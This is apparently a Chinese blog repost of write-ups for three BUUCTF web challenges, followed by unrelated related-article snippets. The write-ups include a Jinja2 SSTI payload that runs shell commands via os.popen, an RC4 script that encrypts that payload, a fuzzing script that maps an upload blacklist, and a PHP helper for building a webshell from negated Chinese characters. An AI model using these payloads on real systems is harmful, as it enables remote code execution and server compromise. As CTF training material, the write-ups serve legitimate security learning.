buuctf 部分web题

[b01lers2020]Welcome to Earth

打开网站,停一会会跳转die,了解一下,这就类似一个通关游戏,不能死亡,也就是说进入/die这个网站就意味着题就做不出来了;所以回到上一个网站原网站,查看源码;

http://ccfd97f9-3c13-40b0-ad8c-4ba1cacfced9.node5.buuoj.cn:81/

返回这里去查看源码,得到/chase/

然后访问

url+/chase/

这里最好去抓一个包去查看,要不我怕反应不过来就跳转过去了,找到了/leftt/

同上继续访问,找到了/shoot/,同上继续访问,找到了/door/,继续访问,然后就找不到类似的了,这里需要访问/static/js/door.js,然后访问/open/,然后访问/static/js/open_sesame.js,然后访问/fight/,然后访问/static/js/fight.js,得到了js代码和flag不过是乱序的,

function scramble(flag, key) {for (var i = 0; i < key.length; i++) {let n = key.charCodeAt(i) % flag.length;let temp = flag[i];flag[i] = flag[n];flag[n] = temp;}return flag;
}function check_action() {var action = document.getElementById("action").value;var flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"];// TODO: unscramble function
}

以下脚本可以整理一下flag,总共6个flag,我是一个一个的试出来的

from itertools import permutationsflag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]item = permutations(flag)
for i in item:k = ''.join(list(i))if k.startswith('pctf{hey_boys') and k[-1] == '}':print(k)

脚本如上

[CISCN2019 华东南赛区]Double Secret

打开网站出现一句话,之后不管是源码还是去用字典扫描都没有发现什么,抓包也没有用处,在看题目,猜想到secret?secret这种方式试了一下,还真是,get传参随便传点东西,打开一个报错页面,在这个页面找到了一段重要的代码

    if(secret==None):return 'Tell me your secret.I will encrypt it so others can\'t see'rc=rc4_Modified.RC4("HereIsTreasure")   #解密deS=rc.do_crypt(secret)a=render_template_string(safe(deS))if 'ciscn' in a.lower():return 'flag detected!'return a

这里需要记录一下,在看到render_template_string()函数的时候就要想到python2.7的模板注入漏洞,根据以上代码进行代码分析,在get传参时需要将ssti注入语句进行加密,因为当你传参时,这个代码会将语句进行rc4解密,所以传入的语句需要进行加密,下面是rc4加密的脚本

import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):# print("RC4加密主函数")s_box = rc4_init_sbox(key)crypt = str(rc4_excrypt(message, s_box))return  crypt
def rc4_init_sbox(key):s_box = list(range(256))  # 我这里没管秘钥小于256的情况,小于256不断重复填充即可# print("原来的 s 盒:%s" % s_box)j = 0for i in range(256):j = (j + s_box[i] + ord(key[i % len(key)])) % 256s_box[i], s_box[j] = s_box[j], s_box[i]# print("混乱后的 s 盒:%s"% s_box)return s_box
def rc4_excrypt(plain, box):# print("调用加密程序成功。")res = []i = j = 0for s in plain:i = (i + 1) % 256j = (j + box[i]) % 256box[i], box[j] = box[j], box[i]t = (box[i] + box[j]) % 256k = box[t]res.append(chr(ord(s) ^ k))# print("res用于加密字符串,加密后是:%res" %res)cipher = "".join(res)print("加密后的字符串是:%s" %quote(cipher))#print("加密后的输出(经过编码):")#print(str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
#需要加密的字符串在这里修改
rc4_main("HereIsTreasure","{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('cat /flag.txt').read()}}")

加密一下在进行传参就可以得到flag了

传参内容,加密前

{{''.__class__.__mro__[2].__subclasses__()[59]}}
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('cat /flag.txt').read()}}

[SUCTF 2018]GetShell

知识点:新的姿势汉字去构造webshell

打开题目,在主页查看源码,就可以找到文件上传的位置了,上传位置在

url+index.php?act=upload

打开这个页面,就可以看到一串代码

if($contents=file_get_contents($_FILES["file"]["tmp_name"])){$data=substr($contents,5);foreach ($black_char as $b) {if (stripos($data, $b) !== false){die("illegal char");}}     
} 

审计代码

if($contents=file_get_contents($_FILES["file"]["tmp_name"]))

 这串代码就是将上传的文件读成字符串并赋给变量contents

$data=substr($contents,5);

截取这个字符串从第6个字符开始,索引为5

    foreach ($black_char as $b) {if (stripos($data, $b) !== false){die("illegal char");}}     
} 

striops就是匹配第二个字符串在第一个字符串第一次出现的位置,这里的意思就是如果b这个字符串在data这个字符串当中那么就返回字符串的位置,否则就返回false,也就是说如果b这个字符串在data当中就会进到这个if语句当中,那么上传就会不成功

也就是说这是一个黑名单,可以写一个python代码看看黑名单里都过滤了那些字符

这里参考这个大佬的博客:BUUCTF:[SUCTF 2018]GetShell-CSDN博客

# -*- coding:utf-8 -*-
# Author: m0c1nu7
import requestsdef ascii_str():str_list=[]for i in range(33,127):str_list.append(chr(i))#print('可显示字符:%s'%str_list)return str_listdef upload_post(url):str_list = ascii_str()for str in str_list:header = {'Host':'3834350a-887f-4ac1-baa4-954ab830c879.node3.buuoj.cn','User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8','Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2','Accept-Encoding':'gzip, deflate','Content-Type':'multipart/form-data; boundary=---------------------------339469688437537919752303518127'}post = '''-----------------------------339469688437537919752303518127
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain12345'''+str+'''
-----------------------------339469688437537919752303518127
Content-Disposition: form-data; name="submit"提交			
-----------------------------339469688437537919752303518127--'''res = requests.post(url,data=post.encode('UTF-8'),headers=header)if 'Stored' in res.text:print("该字符可以通过:  {0}".format(str))else:print("过滤字符:  {0}".format(str))if __name__ == '__main__':url = 'http://3834350a-887f-4ac1-baa4-954ab830c879.node3.buuoj.cn/index.php?act=upload'upload_post(url)

fuzz脚本

测试结果如下

PS C:\Users\Administrator\Desktop> python .\fuzz.py
过滤字符:  !
过滤字符:  "
过滤字符:  #
该字符可以通过:  $
过滤字符:  %
过滤字符:  &
过滤字符:  '
该字符可以通过:  (
该字符可以通过:  )
过滤字符:  *
过滤字符:  +
过滤字符:  ,
过滤字符:  -
该字符可以通过:  .
过滤字符:  /
过滤字符:  0
过滤字符:  1
过滤字符:  2
过滤字符:  3
过滤字符:  4
过滤字符:  5
过滤字符:  6
过滤字符:  7
过滤字符:  8
过滤字符:  9
过滤字符:  :
该字符可以通过:  ;
过滤字符:  <
该字符可以通过:  =
过滤字符:  >
过滤字符:  ?
过滤字符:  @
过滤字符:  A
过滤字符:  B
过滤字符:  C
过滤字符:  D
过滤字符:  E
过滤字符:  F
过滤字符:  G
过滤字符:  H
过滤字符:  I
过滤字符:  J
过滤字符:  K
过滤字符:  L
过滤字符:  M
过滤字符:  N
过滤字符:  O
过滤字符:  P
过滤字符:  Q
过滤字符:  R
过滤字符:  S
过滤字符:  T
过滤字符:  U
过滤字符:  V
过滤字符:  W
过滤字符:  X
过滤字符:  Y
过滤字符:  Z
该字符可以通过:  [
过滤字符:  \
该字符可以通过:  ]
过滤字符:  ^
该字符可以通过:  _
过滤字符:  `
过滤字符:  a
过滤字符:  b
过滤字符:  c
过滤字符:  d
过滤字符:  e
过滤字符:  f
过滤字符:  g
过滤字符:  h
过滤字符:  i
过滤字符:  j
过滤字符:  k
过滤字符:  l
过滤字符:  m
过滤字符:  n
过滤字符:  o
过滤字符:  p
过滤字符:  q
过滤字符:  r
过滤字符:  s
过滤字符:  t
过滤字符:  u
过滤字符:  v
过滤字符:  w
过滤字符:  x
过滤字符:  y
过滤字符:  z
过滤字符:  {
过滤字符:  |
过滤字符:  }
该字符可以通过:  ~
PS C:\Users\Administrator\Desktop> 

这里是使用取反汉字绕过

脚本如下,还是参考那位大佬的脚本

<?php
//Author: m0c1nu7 
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');function str_split_unicode($str, $l = 0) {if ($l > 0) {$ret = array();$len = mb_strlen($str, "UTF-8");for ($i = 0; $i < $len; $i += $l) {$ret[] = mb_substr($str, $i, $l, "UTF-8");}return $ret;}return preg_split("//u", $str, -1, PREG_SPLIT_NO_EMPTY);
}$s = '你归来是诗离去成词且笑风尘不敢造次我糟糠能食粗衣也认煮酒话桑不敢相思你终会遇见这么一个人他会用整个人生将你精心收藏用漫长岁月把你妥善安放怕什么岁月漫长你心地善良,终会有一人陪你骑马喝酒走四方为你唱一首歌歌中有你亦有我我的泪我的魅将都融入到我的歌声里飘向孤独的你你是否听到了我的歌曲是否也在黯然落泪?岁月匆匆人生漫漫漠视了真情谁是站谁的谁已经变得不重要至少曾经已拥有长相思爱相随时空隔离谁相陪?花前月下心随风相思一片梦成空笑看往事红尘中多少凝思付清秋?长相思泪相随曾经谁是谁的谁?孤星冷月泪盈盈念曾经相逢心长时光短让人垂泪到天明长相思苦相随窗前双燕比翼飞日暮情人成双对于时光无垠的田野中没有早一步也没有晚一步恰好遇见了想要遇见的人这是一段多少美丽而令人心动的尘缘于爱情来说相见恨早会恨晚站会留下梨花带雨的疼痛而于友情来说无论太早或者太迟都是一份值得珍惜的情缘晚秋缓缓走晚了我的轮回疏雨一刻半疏笼起我深深的梦馀昨日遗憾寸寸疏雨挑涸泪烛落笔无处飒晚秋彼晚秋未晚懒我疏雨疏风去归我初心还我清梦唯我在晚秋未晚里守望那疏雨半疏的麦田待下一片梧桐叶复舞我亦拾起我的旧梦旧梦清寒一枕乱我眸中晚秋躞蹀的雨疏疏拍窗我的晚秋疏雨半疏疏开昨日我的梦情缘如海深邃澈蓝干涸成妄谈一湛清湖泪潸然一颦寒眉锁阑珊只为你而欣悦只因你而清泪斑斑你是我的前世吧为何沁泊在我的心怀缱绻起涟波千层驻我心扉知我情怀从此我已习惯你的嘘寒问暖懒倦地痴卧在你的胸怀红霞满腮昨天再苦都要用今天的微笑把它吟咏成一段幸福的记忆;曾经再累都要用当站下的遗忘穿越万道红尘让心波澜不惊人生最大的荣耀不在于从不跌倒而在于每一次跌倒后都能爬起来回忆是件很累的事就像失眠时怎么躺都不对的样子有时候往往直到离开在回忆里才能知道自己有多喜欢一座城';$arr_str=str_split_unicode($s);for ($i=0; $i < strlen($s) ; $i++) { echo $arr_str[$i].' ------- '.~$arr_str[$i][1].'<br>';
}?>

剩下的思路和那位大佬都差不多,可以参考一下那篇文章写的挺好的:BUUCTF:[SUCTF 2018]GetShell-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/746482.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

神经网络量化

神经网络量化&#xff08;Neural Network Quantization&#xff09;是一种技术&#xff0c;旨在减少神经网络模型的计算和存储资源需求&#xff0c;同时保持其性能。在深度学习中&#xff0c;神经网络模型通常使用高精度的参数&#xff08;例如32位浮点数&#xff09;来表示权重…

如何关闭 Visual Studio 双击异常高亮

[问题描述]&#xff1a; 最近 Visual Studio 更新后&#xff0c;双击选中关键字快要亮瞎我的眼睛了 &#x1f440;&#x1f440; [解决方法]&#xff1a; 摸索了一下&#xff0c;找到了关闭的方法&#xff1a;工具 → 选项 → 文本编辑器 → 常规&#xff0c;然后取消 勾选 sel…

红帽认证含金量如何?红帽rhcsa认证证书认可度高吗?

事实上&#xff0c;红帽认证含金量在全球范围内都得到了广泛的认可和重视。许多企业和组织都将红帽认证作为招聘和选拔人才的重要标准之一。持有红帽认证的个人往往能够获得更好的职业机会和更高的薪资水平。此外&#xff0c;红帽认证还被许多政府机构、行业协会和教育机构所认…

888888888888888888后果聚光镜

☞ 通用计算机启动过程 1️⃣一个基础固件&#xff1a;BIOS 一个基础固件&#xff1a;BIOS→基本IO系统&#xff0c;它提供以下功能&#xff1a; 上电后自检功能 Power-On Self-Test&#xff0c;即POST&#xff1a;上电后&#xff0c;识别硬件配置并对其进行自检&#xff0c…

html行内元素(内联元素),块级元素分别有哪些?

html行内元素&#xff08;内联元素&#xff09;&#xff0c;块级元素分别有哪些&#xff1f; 常用的分类包括行内元素&#xff08;内联元素&#xff09;和块级元素。下面是它们的示例列表&#xff1a; 行内元素&#xff08;Inline Elements&#xff09;&#xff1a; <span&…

laravel 表单验证的 exists、unique 去除软删除字段的校验

use Illuminate\Validation\Rule; exists 去除软删除字段的校验 $validator \Validator::make($data, [phone_new > [Rule::exists(users, phone)->whereNull(deleted_at),]], [phone_new.exists > 手机号不存在,]);unique 去除软删除字段的校验 // 新增 email>r…

vue3动态组件未渲染问题

渲染问题 component动态组件写法与vue2写法一致&#xff0c;代码如下&#xff1a; <component :is"componentName"/><script setup>import { ref } from vueimport account from ./user/account.vue// 组件名称const componentName ref(account)// 点击…

【算法】一类支持向量机OC-SVM(1)

【算法】一类支持向量机OC-SVM 前言一类支持向量机OC-SVM 概念介绍示例编写数据集创建实现一类支持向量机OC-SVM完整的示例输出 前言 由于之前毕设期间主要的工具就是支持向量机&#xff0c;从基础的回归和分类到后来的优化&#xff0c;在接触到支持向量机还有一类支持向量机的…

unity

Unity官方下载_Unity最新版_从Unity Hub下载安装 | Unity中国官网 Unity Remote - Unity 手册 登陆账号&#xff0c;找到一个3d 免费资源 3D Animations & Models | Unity Asset Store unity 里面window->package Manager 里面可以看到自己的asset &#xff0c;下载后…

Java SE入门及基础(43)

目录 File类 1. File类的作用 2. File类的使用 常用构造方法 示例 常用方法 1.获取文件相关信息 示例 2.文件相关的判断 示例 3.文件列表相关 示例 3. 递归 示例 1.使用递归求1~100的累加和。 2.使用递归打印文件夹下所有文件信息 练习 思考&#xff1a;如何删…

《Effective Modern C++》- 极精简版 36-42条

本文章属于专栏《业界Cpp进阶建议整理》 继续上篇《Effective Modern C》- 极精简版 30-35条。 本文列出《Effective Modern C》的36-42条的个人理解的极精简版本。 Item36、如果有异步的&#xff0c;请指定std::launch::async demo代码为&#xff1a; int calculateSum(int a…

MySQL 数据库压力测试

文章目录 前言1. 安装部署1.1 二进制安装1.2 源码安装 2. 服务器性能测试2.1 CPU2.2 内存2.3 磁盘 3. MySQL 基准测试3.1 参数解析3.2 压测命令3.3 输出解读3.4 结果分析 前言 Sysbench 是一个开源的多线程基准测试工具&#xff0c;也是目前使用最多的 MySQL 压力测试工具。本…

树莓派与电脑视频实时传输实现

编程环境 1、 树莓派 4B 2、 windows 编程语言 python 应用 tkinter scoket opencv 效果 视频同传 服务端视频初始化 服务端视频读取 windows 客户端接收视频流&#xff0c;队列存储 解析视频&#xff0c;存入队列 ui页面数据刷新 下载链接&#xff1a;https://…

什么是虚假唤醒?为什么会产生虚假唤醒?

什么是虚假唤醒&#xff1f; 当一定的条件触发时会唤醒很多在阻塞态的线程&#xff0c;但只有部分的线程唤醒是有用的&#xff0c;其余线程的唤醒是多余的。 比如说卖货&#xff0c;如果本来没有货物&#xff0c;突然进了一件货物&#xff0c;这时所有的顾客都被通知了&#x…

1178: 密码翻译(python)

题目描述 在情报传递过程中&#xff0c;为了防止情报被截获&#xff0c;往往需要对情报用一定的方式加密&#xff0c;简单的加密算法虽然不足以完全避免情报被破译&#xff0c;但仍然能防止情报被轻易的识别。我们给出一种最简的的加密方法&#xff0c;对给定的一个字符串&…

elasticsearch篇:数据聚合

1.数据聚合 聚合&#xff08;aggregations&#xff09;可以让我们极其方便的实现对数据的统计、分析、运算。例如&#xff1a; 什么品牌的手机最受欢迎&#xff1f; 这些手机的平均价格、最高价格、最低价格&#xff1f; 这些手机每月的销售情况如何&#xff1f; 实现这些…

VUE3项目学习系列--Axios二次封装(五)

Axios中文文档 | Axios中文网 (axios-http.cn) Axios 是一个基于 promise 网络请求库&#xff0c;作用于node.js 和浏览器中。 它是 isomorphic 的(即同一套代码可以运行在浏览器和node.js中)。在服务端它使用原生 node.js http 模块, 而在客户端 (浏览端) 则使用 XMLHttpRequ…

【洛谷 P8637】[蓝桥杯 2016 省 B] 交换瓶子 题解(贪心算法)

[蓝桥杯 2016 省 B] 交换瓶子 题目描述 有 N N N 个瓶子&#xff0c;编号 1 ∼ N 1 \sim N 1∼N&#xff0c;放在架子上。 比如有 5 5 5 个瓶子&#xff1a; 2 , 1 , 3 , 5 , 4 2,1,3,5,4 2,1,3,5,4 要求每次拿起 2 2 2 个瓶子&#xff0c;交换它们的位置。 经过若干次…

解释器模式(Interpreter Pattern)

解释器模式 说明 解释器模式&#xff08;Interpreter Pattern&#xff09;属于行为型模式&#xff0c;是指给定一门语言&#xff0c;定义它的语法&#xff08;文法&#xff09;的一种表示&#xff0c;并定义一个解释器&#xff0c;该解释器使用该表示来解释语言中的句子。是一…

[NSSRound#18 Basic]web解析

文章目录 门酱想玩什么呢&#xff1f;Becomeroot 门酱想玩什么呢&#xff1f; 打开题目&#xff0c;加载完视频后要求我们给个游戏链接 点开评论区不难发现应该是想玩元梦之星&#xff0c;这里有个评论功能可以上传图片 我们随便输入点东西发现是插入并赋值到content元素里面 …